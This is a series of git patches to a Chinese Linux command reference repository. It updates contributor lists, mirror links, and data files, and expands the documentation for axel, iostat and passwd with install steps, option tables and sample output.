当前目录搜索所有文件，文件内容 包含 “140.206.111.111” 的内容 find . -type f -name "*" | xargs grep "140.206.111.111" ``` From be1fb35497ef07b9c11ca542ebee05248f968361 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 15 Jul 2024 02:20:23 +0000 Subject: [PATCH 375/570] doc: update README.md. --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 2c50f0cc271..49a4b0a773b 100644 --- a/README.md +++ b/README.md @@ -302,6 +302,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Dazhuangw Alterem YH +jqz3.tech juemuren4449 kassadin kid1412621 @@ -315,8 +316,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -Yidan Wang -jqz3.tech jcdj666 hululu1068 huangyao @@ -331,6 +330,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 +c2ch +Yidan Wang Panthea Johnson 远方 谢民皆 @@ -392,7 +393,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 -c2ch brinkqiang bell azureology @@ -421,6 +421,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rining Wu Ray Yee QinShower +Q.Ben Zheng Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From ead3b5460a6d13b25e03ccdee24b05ef75e13f9e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 15 Jul 2024 02:20:24 +0000 Subject: [PATCH 376/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index c4c13664ab2..9b51e3691fd 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -47,6 +47,7 @@ Dazhuangw Alterem YH +jqz3.tech juemuren4449 kassadin kid1412621 @@ -60,8 +61,6 @@ noodles2hg nsnans oliver -Yidan Wang -jqz3.tech jcdj666 hululu1068 huangyao @@ -76,6 +75,8 @@ dayday cxalc Forever121 +c2ch +Yidan Wang Panthea Johnson 远方 谢民皆 @@ -137,7 +138,6 @@ Azroy Alan 0x_000 -c2ch brinkqiang bell azureology @@ -166,6 +166,7 @@ Rining Wu Ray Yee QinShower +Q.Ben Zheng Mystic

From 6545af6381e10908c5f954a7b76f6aaa8eda5b1b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 31 Jul 2024 15:25:44 +0800 Subject: [PATCH 377/570] doc: Update README.md #595 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 49a4b0a773b..c4203235e3e 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ **推荐使用的镜像 web 版本** -[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/) +[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/) **其它 web 版本** From ef397aec19745e23f24eba1dd237b7dc14a93068 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 31 Jul 2024 07:26:17 +0000 Subject: [PATCH 378/570] doc: update README.md. --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c4203235e3e..c9ec9c2ec57 100644 --- a/README.md +++ b/README.md @@ -319,6 +319,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. jcdj666 hululu1068 huangyao +hotdogc1017 gcluffy ghy gesty @@ -330,7 +331,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 -c2ch Yidan Wang Panthea Johnson 远方 @@ -363,6 +363,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shc sfwwslm rexlin600 +c2ch MinsonLee Marnm mwei From 5f8043de11b823018e95aef0500e67bb435ef479 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 31 Jul 2024 07:26:18 +0000 Subject: [PATCH 379/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 9b51e3691fd..f2cf5f0e086 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -64,6 +64,7 @@ jcdj666 hululu1068 huangyao +hotdogc1017 gcluffy ghy gesty @@ -75,7 +76,6 @@ dayday cxalc Forever121 -c2ch Yidan Wang Panthea Johnson 远方 @@ -108,6 +108,7 @@ shc sfwwslm rexlin600 +c2ch MinsonLee Marnm mwei From 774d3af78e3d3203b3edc03f3e759e51a1e63e91 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Thu, 1 Aug 2024 01:08:44 +0800 Subject: [PATCH 380/570] doc: Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index c9ec9c2ec57..9c3e2d11ec9 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ **推荐使用的镜像 web 版本** -[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/) +[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.xyz`](https://linux.alistnas.xyz/)，[`nenufm.com`](https://www.nenufm.com/linux-command/) **其它 web 版本** From 15c63feb00972d728585fa13b965af2d2a789cc5 Mon Sep 17 00:00:00 2001 From: zyy2477 Date: Thu, 15 Aug 2024 21:19:09 +0800 Subject: [PATCH 381/570] doc: update axel.md (#596) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Update axel.md 添加 axel 源码安装方法。 * Update axel.md 更新 axel 源码安装和 -k 参数 --- command/axel.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/command/axel.md b/command/axel.md index 74915d6e15f..0d38af3af37 100644 --- a/command/axel.md +++ b/command/axel.md @@ -9,6 +9,14 @@ axel ### 安装 +#### 源码安装 + +github地址：https://github.com/axel-download-accelerator/axel + +下载相应的 release 版本后，解压进入目录执行`./configure && make && make install`安装即可。 + +#### 二进制安装 + CentOS安装Axel： 目前yum源上没有Axel，我们可以到 http://pkgs.repoforge.org/axel/ 下载rpm包安装。 @@ -54,6 +62,7 @@ axel [options] url1 [url2] [url...] --alternate ， -a # Alternate progress indicator --help ，-h # 帮助 --version ，-V # 版本信息 +--insecure，-k # 不验证SSL证书 ``` ### 实例 From 6079545fee37e9800eda0734d6423c5357efdb05 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 15 Aug 2024 13:19:43 +0000 Subject: [PATCH 382/570] doc: update README.md. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 9c3e2d11ec9..c6961bae31c 100644 --- a/README.md +++ b/README.md @@ -332,7 +332,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. cxalc Forever121 Yidan Wang -Panthea Johnson +Wendy May 远方 谢民皆 Kyofin @@ -344,9 +344,9 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Loofra Wei Xu 尘埃 -宋小北 孤城落寞 七朔 +zyy2477 zyimm zuixin369 zoomdong From d88ec7ce3ef17d3542e8ad285b9b3bb937a52df1 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 15 Aug 2024 13:19:44 +0000 Subject: [PATCH 383/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index f2cf5f0e086..0d1361025b2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -77,7 +77,7 @@ cxalc Forever121 Yidan Wang -Panthea Johnson +Wendy May 远方 谢民皆 Kyofin @@ -89,9 +89,9 @@ Loofra Wei Xu 尘埃 -宋小北 孤城落寞 七朔 +zyy2477 zyimm zuixin369 zoomdong From 7155c78adc11f4e340ea0fba6d565db2270be4e4 Mon Sep 17 00:00:00 2001 From: zyy2477 Date: Thu, 29 Aug 2024 16:49:07 +0800 Subject: [PATCH 384/570] doc: Update iostat.md (#599) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 从 Linux 2.6.18 内核的 iostat 更新到 4.18.0 内核的 iostat。并参数说明和示例 --- command/iostat.md | 208 ++++++++++++++++++++++++++++++++++------------ 1 file changed, 156 insertions(+), 52 deletions(-) diff --git a/command/iostat.md b/command/iostat.md index 0bf3d25e003..0ab85f2d431 100644 --- a/command/iostat.md +++ b/command/iostat.md @@ -1,74 +1,178 @@ -iostat -=== +# iostat -监视系统输入输出设备和CPU的使用情况 +iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。 +iowait 指在一个采样周期内有百分之几的时间是属于以下情况：CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。 -## 补充说明 +## 安装 iostat -**iostat命令** 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。 +iostat包含在**sysstat**包内。如果你没有，你首先需要安装它。 +在 RedHat / CentOS / Fedora -### 语法 +```bash +yum install sysstat +``` + +在 Debian / Ubuntu / Linux Mint + +```bash +sudo apt-get install sysstat +``` -```shell +## 语法 + +```bash iostat(选项)(参数) ``` -### 选项 - -```shell --c：仅显示CPU使用情况； --d：仅显示设备利用率； --k：显示状态以千字节每秒为单位，而不使用块每秒； --m：显示状态以兆字节每秒为单位； --p：仅显示块设备和所有被使用的其他分区的状态； --t：显示每个报告产生时的时间； --V：显示版号并退出； --x：显示扩展状态。 +### 选项 + +```bash +# iostat --help +Usage: iostat [ options ] [ [ ] ] +Options are: +[ -c ] [ -d ] [ -h ] [ -k | -m ] [ -N ] [ -s ] [ -t ] [ -V ] [ -x ] [ -y ] [ -z ] +[ -j { ID | LABEL | PATH | UUID | ... } ] [ --human ] [ -o JSON ] +[ [ -H ] -g ] [ -p [ [,...] | ALL ] ] +``` + +参数说明： +``` +-c 输出CPU统计信息。不能与-d参数同时使用。 +-d 输出设备和分区的I/O统计信息。不能与-c参数同时使用。(默认的参数是-d)。 +-h 让人类更容易阅读设备使用情况报告。--human使用此选项隐式启用。 +-k 用“kbytes/秒”代替“块/秒”显示统计信息。 +-m 用“mbytes/秒”代替“块/秒”显示统计信息。 +-t 打印显示的每份报告的时间。 +-V 显示版本号并退出。 +-x 显示扩展统计信息。不能与参数-p同时使用。 +-y 如果在给定时间间隔内显示多条记录，则省略自系统启动以来的第一份统计报告。 +-z 告诉 iostat 忽略在样本期间没有活动的设备的输出。 +-j 显示持久的设备名称。选项ID、LABEL等指定持久名称的类型。 +--human 以人类可读格式打印大小(例如1.0k, 1.2M等)。使用此选项显示的单位取代与度量相关的任何其他默认单位(例如千字节，扇区…)。 +-o 以JSON (Javascript Object Notation)格式显示统计数据。JSON输出字段顺序未定义，未来可能会添加新字段。 +-H 该选项必须与-g一起使用，表示只显示组的全局统计信息，而不显示组中单个设备的统计信息。 +-p 选项显示系统使用的块设备及其所有分区的统计信息。如果在命令行中输入一个设备名，那么将显示该设备及其所有分区的统计信息。最后，ALL关键字表示必须显示系统定义的所有块设备和分区的统计信息，包括那些从未使用过的设备和分区。如果在此选项之前定义了选项-j，则可以使用所选的持久名称类型指定在命令行上输入的设备。 +``` + +### 参数 + +interval 刷新时间间隔 +count 刷新次数 + +## 运行示例 + +### 示例1 + +```bash +# iostat +Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU) + +avg-cpu: %user %nice %system %iowait %steal %idle + 3.30 0.01 1.90 0.12 0.00 94.68 + +Device tps kB_read/s kB_wrtn/s kB_read kB_wrtn +vda 7.85 84.22 36.59 1081853831 470049100 + ``` -### 参数 +第一部分包含了CPU报告 + +| 性能指标 | 含义 | +| --- | --- | +| %user | 显示在用户级(应用程序)执行时发生的CPU利用率百分比。 | +| %nice | 显示在具有nice优先级的用户级别执行时发生的CPU利用率百分比。 | +| %system | 显示在系统级(内核)执行时发生的CPU利用率百分比。 | +| %iowait | 显示在系统有未完成的磁盘I/O请求期间CPU空闲的时间百分比。 | +| %steal | 显示虚拟机监控程序为另一个虚拟处理器提供服务时，一个或多个虚拟CPU在非自愿等待上花费的时间百分比。 | +| %idle | 显示CPU空闲且系统没有未完成的磁盘I/O请求的时间百分比。 | + +第二部分包含了设备利用率报告 + +| 性能指标 | 含义 | +| --- | --- | +| Device | 此列给出了 /dev 目录中列出的设备（或分区）名称。 | +| tps | 表示每秒向设备发出的传输次数。传输是对设备的 I/O 请求。多个逻辑请求可合并为对设备的一个 I/O 请求。传输大小不确定。 | +| kB_read/s | 表示每秒从设备读取的数据量，以块数（千字节、兆字节）表示。块相当于扇区，因此大小为 512 字节。 | +| kB_wrtn/s | 表示写入设备的数据量，以每秒块数（千字节、兆字节）表示。 | +| kB_read | 读取的数据块总数（千字节、兆字节）。 | +| kB_wrtn | 写入的数据块总数（千字节、兆字节）。 | + +### 示例2 + +以更友好的显示方式显示 IO 信息，使用`-y`忽略第一份统计。并每隔 1 秒重新一次，共5次。 -* 间隔时间：每次报告的间隔时间（秒）； -* 次数：显示报告的次数。 +```bash +# iostat -hdy 1 5 +Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU) -### 实例 + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 64.00 288.0k 308.0k 288.0k 308.0k vda -用`iostat -x /dev/sda1`来观看磁盘I/O的详细情况： + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 12.00 0.0k 84.0k 0.0k 84.0k vda -```shell -iostat -x /dev/sda1 -Linux 2.6.18-164.el5xen (localhost.localdomain) -2010年03月26日 + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 15.00 0.0k 36.0k 0.0k 36.0k vda -avg-cpu: %user %nice %system %iowait -%steal %idle - 0.11 0.02 0.18 0.35 -0.03 99.31 + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 28.00 0.0k 76.0k 0.0k 76.0k vda + + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 11.00 0.0k 100.0k 0.0k 100.0k vda -Device: tps Blk_read/s Blk_wrtn/s -Blk_read Blk_wrtn -sda1 0.02 0.08 -0.00 2014 4 ``` -详细说明：第二行是系统信息和监测时间，第三行和第四行显示CPU使用情况（具体内容和mpstat命令相同）。这里主要关注后面I/O输出的信息，如下所示： +### 示例3 + +```bash +# iostat -xd 1 +Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU) + +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 4.64 3.21 84.14 36.59 0.28 1.07 5.64 25.01 5.86 8.23 0.05 18.12 11.41 0.44 0.34 + +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 1.00 0.00 4.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 4.00 0.00 2.00 0.20 +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 0.00 37.00 0.00 395.50 0.00 10.00 0.00 21.28 0.00 0.92 0.03 0.00 10.69 0.11 0.40 -标示 | 说明 ---- | --- -Device | 监测设备名称 -rrqm/s | 每秒需要读取需求的数量 -wrqm/s | 每秒需要写入需求的数量 -r/s | 每秒实际读取需求的数量 -w/s | 每秒实际写入需求的数量 -rsec/s | 每秒读取区段的数量 -wsec/s | 每秒写入区段的数量 -rkB/s | 每秒实际读取的大小，单位为KB -wkB/s | 每秒实际写入的大小，单位为KB -avgrq-sz | 需求的平均大小区段 -avgqu-sz | 需求的平均队列长度 -await | 等待I/O平均的时间（milliseconds） -svctm | I/O需求完成的平均时间 -%util | 设备带宽的使用率，达到100%表示饱和，达到性能瓶颈，如果是支持处理并发请求的设备则不代表性能瓶颈。 +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 + +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 1.00 0.00 4.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 4.00 0.00 1.00 0.10 + +``` +从这里你可以看到，iostat 提供了非常丰富的性能指标。第一列的 Device 表示磁盘设备的名字，其他各列指标，虽然数量较多，但是每个指标的含义都很重要。 + +| 性能指标 | 含义 | +| --- | --- | +| r/s | 设备每秒完成的读取请求数（合并后）。 | +| w/s | 设备每秒完成的写入请求数（合并后）。 | +| rkB/s | 每秒从设备读取的扇区数（千字节、兆字节）。 | +| wkB/s | 每秒写入设备的扇区数（千字节、兆字节）。 | +| rrqm/s | 每秒合并到设备的排队 I/O 请求数。 | +| wrqm/s | 每秒合并到设备的写入请求数。 | +| %rrqm | 在发送到设备之前合并在一起的读取请求的百分比。 | +| %wrqm | 发送到设备前合并在一起的写入请求的百分比。 | +| r_await | 向设备发出的读取请求获得服务的平均时间（毫秒）。这包括请求在队列中花费的时间和为请求提供服务的时间。 | +| w_await | 向待服务设备发出写入请求的平均时间（毫秒）。这包括请求在队列中花费的时间和为请求提供服务的时间。 | +| aqu-sz | 向设备发出的请求的平均队列长度。注意：在以前的版本中，该字段被称为 avgqu-sz。 | +| rareq-sz | 向设备发出的读取请求的平均大小（千字节）。 | +| wareq-sz | 向设备发出的写入请求的平均大小（千字节）。 | +| svctm | 向设备发出的 I/O 请求的平均服务时间（毫秒）。警告！不要再相信这个字段了。 未来的 sysstat 版本将删除此字段。 | +| %util | 向设备发出 I/O 请求所用时间的百分比（设备带宽利用率）。 对于串行服务请求的设备，当该值接近 100%，设备就会饱和。 但对于以并行方式提供请求的设备，如 RAID 阵列和现代固态硬盘，该数值并不能反映其性能极限。 | + +当 %iowait 升高，需要重点关注以下指标： + +- avgrq-sz: 向设备发出请求的平均大小（单位：扇区） +- avgqu-sz: 向设备发出请求的队列平均长度。也是个做 IO 调优时需要注意的地方，这个就是直接每次操作的数据的大小，如果次数多，但数据拿的小的话，其实 IO 也会很小.如果数据拿的大，IO 的数据会高 +- r_await: 向服务设备发出读取请求的平均时间（单位：毫秒）。包括请求入队的时间以及设备处理请求的时间 +- w_await: 向服务设备发出写请求的平均时间（单位：毫秒）。包括请求入队的时间以及设备处理请求的时间 +- %util：一秒中有百分之多少的时间用于 I/O 操作，或者说一秒中有多少时间 I/O 队列是非空的。如果 %util 接近 100%，说明产生的I/O请求太多，I/O系统已经满负荷，该磁盘可能存在瓶颈 +- %svctm：平均每次设备 I/O 操作的服务时间 (毫秒)。一般要小于 await (因为同时等待的请求的等待时间被重复计算了)，svctm 的大小一般和磁盘性能有关，CPU/内存的负荷也会对其有影响，请求过多也会间接导致 svctm 的增加。await 的大小一般取决于服务时间(svctm) 以及 I/O 队列的长度和 I/O 请求的发出模式。如果 svctm 比较接近 await，说明 I/O 几乎没有等待时间；如果 await 远大于 svctm，说明 I/O 队列太长，应用得到的响应时间变慢，如果响应时间超过了用户可以容许的范围，这时可以考虑更换更快的磁盘，调整内核 elevator 算法，优化应用，或者升级 CPU From 2f8778a1f7ed614dbd3778e1680f0f98f6426c0d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 29 Aug 2024 08:49:42 +0000 Subject: [PATCH 385/570] doc: update README.md. --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index c6961bae31c..e964f2474f5 100644 --- a/README.md +++ b/README.md @@ -286,6 +286,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Wang Yujia alfred 沙漠之子 +zyy2477 Shell xhal VVatt @@ -302,6 +303,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Dazhuangw Alterem YH +jcdj666 jqz3.tech juemuren4449 kassadin @@ -315,8 +317,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. miniwater noodles2hg nsnans -oliver -jcdj666 hululu1068 huangyao hotdogc1017 @@ -331,6 +331,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 +c2ch Yidan Wang Wendy May 远方 @@ -346,7 +347,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. 尘埃 孤城落寞 七朔 -zyy2477 zyimm zuixin369 zoomdong @@ -363,7 +363,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shc sfwwslm rexlin600 -c2ch +oliver MinsonLee Marnm mwei From 37bcd5ff8fd016a500d5287e151e16d8f1f54670 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 29 Aug 2024 08:49:43 +0000 Subject: [PATCH 386/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 0d1361025b2..d6c1e7bb095 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -31,6 +31,7 @@ Wang Yujia alfred 沙漠之子 +zyy2477 Shell xhal VVatt @@ -47,6 +48,7 @@ Dazhuangw Alterem YH +jcdj666 jqz3.tech juemuren4449 kassadin @@ -60,8 +62,6 @@ miniwater noodles2hg nsnans -oliver -jcdj666 hululu1068 huangyao hotdogc1017 @@ -76,6 +76,7 @@ dayday cxalc Forever121 +c2ch Yidan Wang Wendy May 远方 @@ -91,7 +92,6 @@ 尘埃 孤城落寞 七朔 -zyy2477 zyimm zuixin369 zoomdong @@ -108,7 +108,7 @@ shc sfwwslm rexlin600 -c2ch +oliver MinsonLee Marnm mwei From 80c5150c92a638fc9a8a69c6e8fe0cc90ed118cb Mon Sep 17 00:00:00 2001 From: zyy2477 Date: Sun, 1 Sep 2024 15:57:44 +0800 Subject: [PATCH 387/570] doc: update command/passwd.md (#600) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 添加通过 echo 命令结合管道符来修改密码的例子。 --- command/passwd.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/command/passwd.md b/command/passwd.md index 54651890747..a3f8df7368a 100644 --- a/command/passwd.md +++ b/command/passwd.md @@ -85,6 +85,15 @@ Retype new UNIX password: # 再输入一次； passwd: all authentication tokens updated successfully. # 成功； ``` +或通过管道符把`echo`命令和`passwd`命令的`--stdin`参数相结合，用一条命令来完成密码修改，无序交互。 +以 linuxde 用户的密码改成 123456 为例： + +```shell +[root@localhost ~]# echo "123456" | passwd --stdin linuxde +Changing password for user linuxde. # 正在更改 linuxde 用户的密码。 +passwd: all authentication tokens updated successfully. # passwd：所有身份验证令牌都已成功更新 +``` + 普通用户如果想更改自己的密码，直接运行passwd即可，比如当前操作的用户是linuxde。 ```shell From b2bab26746038e501a8d367fea7530a9c629b959 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 3 Sep 2024 13:35:16 +0800 Subject: [PATCH 388/570] fix: correct formatting issue causing errors. #601 --- command/iostat.md | 3 ++- dist/data.json | 14 ++++++++++++-- dist/data.min.json | 2 +- 3 files changed, 15 insertions(+), 4 deletions(-) diff --git a/command/iostat.md b/command/iostat.md index 0ab85f2d431..2c41ac779a5 100644 --- a/command/iostat.md +++ b/command/iostat.md @@ -1,4 +1,5 @@ -# iostat +iostat +=== iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。 iowait 指在一个采样周期内有百分之几的时间是属于以下情况：CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。 diff --git a/dist/data.json b/dist/data.json index a5301ee6e3b..75eae0c05a3 100644 --- a/dist/data.json +++ b/dist/data.json @@ -759,6 +759,11 @@ "p": "/fgrep", "d": "为文件搜索文字字符串" }, + "figlet": { + "n": "figlet", + "p": "/figlet", + "d": "字符串转为 “字画符”。" + }, "file": { "n": "file", "p": "/file", @@ -889,6 +894,11 @@ "p": "/gpasswd", "d": "Linux下工作组文件的管理工具" }, + "gpg": { + "n": "gpg", + "p": "/gpg", + "d": "可用于签名、检查、加密或解密的工具" + }, "gpm": { "n": "gpm", "p": "/gpm", @@ -1122,7 +1132,7 @@ "iostat": { "n": "iostat", "p": "/iostat", - "d": "监视系统输入输出设备和CPU的使用情况" + "d": "iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。iowait 指在一个采样周期内有百分之几的时间是属于以下情况：CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。" }, "iotop": { "n": "iotop", @@ -1637,7 +1647,7 @@ "mtr": { "n": "mtr", "p": "/mtr", - "d": "`mtr`结合了`traceroute`和`ping`程序的功能，是一款简单的网络诊断工具。 " + "d": "`mtr` 结合了 `traceroute` 和 `ping` 程序的功能，是一款简单的网络诊断工具" }, "mv": { "n": "mv", diff --git a/dist/data.min.json b/dist/data.min.json index 02f10339d70..cb420adfeff 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian 